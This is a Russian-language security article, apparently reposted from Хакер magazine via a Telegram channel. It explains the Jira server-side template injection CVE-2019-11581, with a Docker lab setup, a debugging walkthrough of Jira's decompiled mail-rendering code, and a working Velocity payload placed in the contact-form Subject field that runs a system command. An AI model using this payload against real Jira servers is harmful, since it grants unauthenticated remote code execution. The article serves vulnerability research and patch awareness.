Хакер - Операция «Липосакция». Как использовать новую уязвимость в Jira

Хакер - Операция «Липосакция». Как использовать новую уязвимость в Jira

hacker_frei

https://t.me/hacker_frei

aLLy 

Содержание статьи

  • Стенд
  • Метод 1: Docker
  • Метод 2: ручная установка
  • Детали уязвимости
  • Демонстрация уязвимости (видео)
  • Заключение

Jira — мегапопулярная система для отслеживания ошибок, организации взаимодействия с пользователями и управления проектами. Уязвимость позволяет атакующему выполнить произвольный код на целевой системе при помощи обычного POST-запроса, не обладая при этом никакими привилегиями. Давай посмотрим на причины этого бага и методы его эксплуатации.

INFO

Баг обнаружил исследователь Даниил Дмитриев. Уязвимость получила статус критической и классифицируется как CVE-2019-11581 — «Инъекция в серверные шаблоны в Jira на страницах обратной связи с администратором и массовой рассылки». Уязвимы версии с 4.4.0 до 7.6.14, с 7.7.0 до 7.13.5, с 8.0.0 до 8.0.3, с 8.1.0 до 8.1.2, а также начиная с 8.2.0 и заканчивая 8.2.3.

Стенд

Воспроизвести необходимые для эксплуатации условия можно разными методами. Я покажу два из них.

Метод 1: Docker

Самый легкий способ — взять готовые контейнеры Docker из репозитория Vulhub. В файле ниже объявляются две машины: сама Jira и почтовый сервер.

CVE-2019-11581/docker-compose.yml

version: "2"
services:
  jira:
    image: vulhub/jira:8.1.0
    ports:
      - "8080:8080"
    links:
      - smtpd
  smtpd:
    build:
      context: .
      dockerfile: smtpd.Dockerfile

Машина с сервером имеет имя smtpd, где в качестве демона SMTP выступает стандартный модуль Python smtpd. Этой простейшей реализации достаточно, чтобы продемонстрировать уязвимость. На деле почтовый сервер может быть абсолютно любым.

CVE-2019-11581/smtpd.Dockerfile

FROM python:3.6-alpine3.9
COPY smtpd_server.py /smtpd_server.py
CMD ["python", "/smtpd_server.py"]
EXPOSE 1025

CVE-2019-11581/smtpd_server.py

import smtpd

class CustomSMTPServer(smtpd.SMTPServer):
  def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
    r = data.decode("utf-8").split("\n")
    for l in r:
      if l.startswith("Subject:"):
        sys.stdout.write("[{0}] {1}\n".format(time.time(),l))
    sys.stdout.flush()
    return

server = CustomSMTPServer(('0.0.0.0', 1025), None)
sys.stdout.write("[+] Start SMTPServer on 0.0.0.0:1025\n")

В скрипте используется кастомный обработчик входящих сообщений для того, чтобы логировать в консоль заголовок Subject. В нем будет содержаться пейлоад.

Привести все это дело в рабочий вид можно одной командой:

docker-compose up -d

После этого на порте 8080 будет запущен экземпляр системы Jira. Нужно пройти несложный процесс установки, на одном этапе которого придется получить триальный ключ. Когда установка будет завершена, понадобится еще несколько действий, чтобы можно было воспроизвести уязвимость.

Сначала настроим Jira для работы с сервером SMTP. Для этого от имени администратора переходим в раздел «Система → Исходящая почта» (System → Outgoing Mail) и нажимаем кнопку «Добавить SMTP почтовый сервер» (Add SMTP Mail Server). В появившейся форме указываем необходимые данные.

Затем нужно включить форму обратной связи. Эта настройка находится в разделе «Основные настройки» (General configuration), кнопка «Редактировать настройки» (Edit Settings).

Нужно включить опцию «Форма связи с администраторами» (Contact Administrators Form).

Окружение готово.

Метод 2: ручная установка

Для тестов готовых контейнеров будет достаточно, но если хочешь глубже погрузиться в происходящее, то дальше я расскажу про второй вариант стенда.

Его я буду использовать для отладки, чтобы показать эксплуатацию изнутри. Все манипуляции будут производиться на компьютере с Windows. Сначала нужно скачать Atlassian SDK и установить его.

Потом при помощи этого SDK генерируем шаблон плагина.

atlas-create-jira-plugin

После этого будет создана директория с именем, которое было указано в artifactId. Я буду выполнять отладку в IntelliJ IDEA, поэтому открою папку с плагином в этой IDE. Здесь в файле pom.xml можно указать используемую версию Jira. На момент написания статьи это была 7.13.0, и она уязвима, так что можешь оставить как есть или поменять на любую другую непропатченную версию.

pom.xml

<properties>
    <jira.version>8.1.0</jira.version>

Запускаем Jira в отладочном режиме и сбрасываем флаг atlassian.mail.senddisabled, чтобы разрешить отправку почтовых сообщений.

atlas-debug --product jira -Datlassian.mail.senddisabled=false

После запуска сервера нужно настроить удаленную отладку в IDEA. Для этого переходим в окно редактирования конфигураций и создаем новый сетап типа Remote.

По умолчанию порт для отладки — 5005, а веб-интерфейс будет находиться по адресу http://jirarce.vh:2990/jira.

Теперь настраиваем Jira по аналогии с первым вариантом стенда и в качестве сервера SMTP используем все тот же скрипт на Python.

Тестовое окружение готово, и наконец-то можно переходить к разбору уязвимости.

Детали уязвимости

Ссылка на объект нашего тестирования находится под формой авторизации. Нажимаем на кнопку и попадаем в форму обратной связи.

Заполняем ее как угодно, но перед отправкой ставим брейк-пойнт в отладчике на метод setActionProperty класса JiraSafeActionParameterSetter и нажимаем Send.

WEB-INF/classes/com/atlassian/jira/webwork/JiraSafeActionParameterSetter.java

038: public class JiraSafeActionParameterSetter {
...
099:     private void setActionProperty(Method setterMethod, Action action, String[] paramValue) {
100:         Assertions.notNull("paramValue", paramValue);
101:         Assertions.notNull("setterMethod", setterMethod);
102:         Assertions.notNull("setterMethod", setterMethod.getParameterTypes());
103:         Assertions.stateTrue("setterMethod", setterMethod.getParameterTypes().length == 1);
104:         Class parameterType = setterMethod.getParameterTypes()[0];
105:
106:         try {
107:             Object convertedObj;
108:             if (parameterType.equals(String.class)) {
109:                 convertedObj = paramValue[0];
110:             } else if (parameterType.equals(String[].class)) {
111:                 convertedObj = paramValue;
112:             } else {
113:                 ParameterConverter converter = KnownParameterConverters.getConverter(parameterType);
114:                 Assertions.notNull("converter", converter);
115:                 convertedObj = converter.convertParameter(paramValue, parameterType);
116:             }
117:
118:             setterMethod.invoke(action, convertedObj);

Отправленные данные формы попадают в этот метод, и на основе типа передаваемого параметра вызываются соответствующие классы. Нам интересно поле Subject.

Как видишь, за него берется метод с говорящим названием setSubject, что в классе ContactAdministrators.

WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators.java

31: public class ContactAdministrators extends JiraWebActionSupport {
...
108:     public void setSubject(String subject) {
109:         this.subject = subject;
110:     }

Теперь в переменной subject хранится собственно тема письма.

Следующая остановка — ContactAdministrators.doExecute. Здесь вызывается метод send.

WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators.java

78:     @RequiresXsrfCheck
79:     protected String doExecute() throws Exception {
80:         if (!this.getShouldDisplayForm()) {
81:             return "modebreach";
82:         } else {
83:             this.send();
84:             return this.getRedirect("/secure/MyJiraHome.jspa");
85:         }
86:     }

Здесь выполняется поиск активных администраторов в системе, чтобы затем каждому было отправлено наше письмо.

WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators.java

154:     public void send() throws MailException {
155:         Collection<ApplicationUser> administrators = this.userUtil.getJiraAdministrators();
156:         Iterator var2 = administrators.iterator();
157:
158:         while(var2.hasNext()) {
159:             ApplicationUser administrator = (ApplicationUser)var2.next();
160:             if (administrator.isActive()) {
161:                 this.sendTo(administrator);
162:             }
163:         }
164:
165:     }

Для этого управление передается в sendTo.

WEB-INF/classes/com/atlassian/jira/web/action/user/ContactAdministrators.java

167:     private void sendTo(ApplicationUser administrator) throws MailException {
168:         try {
169:             Map<String, Object> velocityParams = Maps.newHashMap();
170:             velocityParams.put("from", this.replyTo);
171:             velocityParams.put("content", this.details);
172:             velocityParams.put("padSize", PADSIZE);
173:             Email email = new Email(administrator.getEmailAddress());
174:             email.setReplyTo(this.replyTo);
175:             MailQueueItem item = (new EmailBuilder(email, this.getMimeType(administrator), I18nBean.getLocaleFromUser(administrator))).withSubject(this.subject).withBodyFromFile(this.getTemplateDirectory(administrator) + "contactadministrator.vm").addParameters(velocityParams).renderLater();
176:             this.mailQueue.addItem(item);

Здесь при помощи EmailBuilder формируется будущее письмо. Затем полученный объект класса MailQueueItem добавляется в очередь сообщений для отправки.

Обрати внимание на то, что шаблон для текста письма берется из файла WEB-INF/classes/templates/email/html/contactadministrator.vm и является экземпляром TemplateSources$File, а тема — TemplateSources$Fragment.

Перед отправкой сообщения его нужно отрендерить. За работу с шаблонами в Jira отвечает движок Velocity. Когда очередь дойдет до нашего письма, будет вызван метод send класса RenderingMailQueueItem.

WEB-INF/classes/com/atlassian/jira/mail/builder/RenderingMailQueueItem.java

12: public class RenderingMailQueueItem extends SingleMailQueueItem {
...
24:     public void send() throws MailException {
25:         try {
26:             this.emailRenderer.render();
...
31:         super.send();

Объект emailRenderer — это экземпляр класса EmailRenderer. Это его метод render отвечает за одноименный процесс.

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java:

035: class EmailRenderer {
...
123:     public Email render() throws MessagingException {
124:         this.email.setSubject(this.renderEmailSubject(this.templateParameters));

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java

68:     private String renderEmailSubject(Map<String, Object> contextParams) {
69:         return this.getTemplatingEngine().render(this.subjectTemplate).applying(contextParams).asPlainText();
70:     }

Затем инициализируется движок для рендера — VelocityTemplatingEngine.

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java

72:     private VelocityTemplatingEngine getTemplatingEngine() {
73:         return (VelocityTemplatingEngine)ComponentAccessor.getComponent(VelocityTemplatingEngine.class);
74:     }

Движку передается шаблон темы письма. Метод applying создает экземпляр класса VelocityContext.

WEB-INF/classes/com/atlassian/jira/template/velocity/DefaultVelocityTemplatingEngine.java

72:     class DefaultRenderRequest implements RenderRequest {
73:         private final TemplateSource source;
74:         private VelocityContext context = this.createContextFrom(Collections.emptyMap());

WEB-INF/classes/com/atlassian/jira/template/velocity/DefaultVelocityTemplatingEngine.java

33: public class DefaultVelocityTemplatingEngine implements VelocityTemplatingEngine {
...
48:     public RenderRequest render(TemplateSource source) {
49:         return new DefaultVelocityTemplatingEngine.DefaultRenderRequest(source);
50:     }

В конце конструкции вызывается метод asPlainText.

WEB-INF/classes/com/atlassian/jira/template/velocity/DefaultVelocityTemplatingEngine.java

91:         public String asPlainText() {
92:             return (new DefaultVelocityTemplatingEngine.DefaultRenderRequest.StringRepresentation() {
93:                 void with(StringWriter sw) throws IOException {
94:                     DefaultRenderRequest.this.asPlainText(sw);
95:                 }
96:             }).toString();
97:         }

Внутри выполняется цепочка вызовов toWriterImpl → writeEncodedBodyForContent → evaluate.

WEB-INF/classes/com/atlassian/jira/template/velocity/DefaultVelocityTemplatingEngine.java

107:         public void asPlainText(Writer writer) throws IOException {
108:             this.toWriterImpl(writer, false);
109:         }

WEB-INF/classes/com/atlassian/jira/template/velocity/DefaultVelocityTemplatingEngine.java

115:         private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
116:             if (this.source instanceof File) {
...
123:             } else if (this.source instanceof Fragment) {
124:                 Fragment fragment = (Fragment)this.source;
...
129:                 DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);

WEB-INF/lib/atlassian-velocity-1.3/com/atlassian/velocity/DefaultVelocityManager.java

76:     public void writeEncodedBodyForContent(Writer writer, String contentFragment, Context context) throws IOException
77:     {
...
84:         try
85:         {
86:             getVe().evaluate(context, writer, "getEncodedBodyFromContent", contentFragment);
87:         }
88:         catch (Exception e)
89:         {
90:             exceptionHandling(writer, e, "", "");
91:         }
92:     }

Последний метод пытается распарсить переданную в качестве темы строку. Она разбивается на ноды, и они интерпретируются как конструкции шаблонизатора Velocity.

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/runtime/parser/Parser.java

61: public class Parser implements ParserTreeConstants, ParserConstants {
...
91:     public Parser(RuntimeServices rs) {
...
97:     public SimpleNode parse(Reader reader, String templateName) throws ParseException {
98:         SimpleNode sn = null;
99:         this.currentTemplateName = templateName;

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/runtime/RuntimeInstance.java

053: public class RuntimeInstance implements RuntimeConstants, RuntimeServices {
...
571:     public boolean evaluate(Context context, Writer out, String logTag, String instring) throws IOException {
572:         return this.evaluate(context, out, logTag, (Reader)(new StringReader(instring)));
573:     }
574: 
575:     public boolean evaluate(Context context, Writer writer, String logTag, Reader reader) throws IOException {
...
589:             return nodeTree == null ? false : this.render(context, writer, logTag, nodeTree);
590:         }

По сути, у нас здесь стандартная инъекция в шаблоны на стороне сервера, или SSTI (Server-Side Template Injection). Так как я отправлял ничего не значащую строку, то сервер попытается отправить письмо с этой темой сообщения.

Для написания полноценного PoC нужен объект, который уже существует в контексте (VelocityContext).

Почти во всех замеченных на просторах интернета пейлоадах встречается использование i18n, но можно взять любой объект, например applicationProperties. Остальная часть PoC — вполне стандартное выполнение произвольной команды через метод exec класса java.lang.Runtime. Будем пытаться открыть калькулятор. Укажем в качестве темы письма такую строку:

$applicationProperties.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

Перед отправкой формы поставим брейк-пойнт на метод evaluate класса RuntimeInstance.

Немного потрейсим вперед и увидим, что последний вызов приходится на ASTMethod.execute, где, с помощью invoke, начинает отрабатывать наш пейлоад.

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/runtime/parser/node/ASTMethod.java

020: public class ASTMethod extends SimpleNode {
...
047:     public Object execute(Object o, InternalContextAdapter context) throws MethodInvocationException {
...
103:         try {
104:             Object obj = method.invoke(o, params);

Далее наблюдаем окошко калькулятора. 

Заключение

Рассмотренная уязвимость часто встречается в приложениях, написанных на Java. Теперь ты знаешь, на какой вектор стоит обратить особое внимание при аудите окружения Java.

Даниил Дмитриев не так давно находил похожую уязвимость в работе системы виджетов в Confluence. Там можно было внедрять целые файлы-шаблоны. Этот баг, как и рассмотренный сегодня, был быстро пофикшен в новой версии продукта. Так что не тяни с обновлениями!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei

Report Page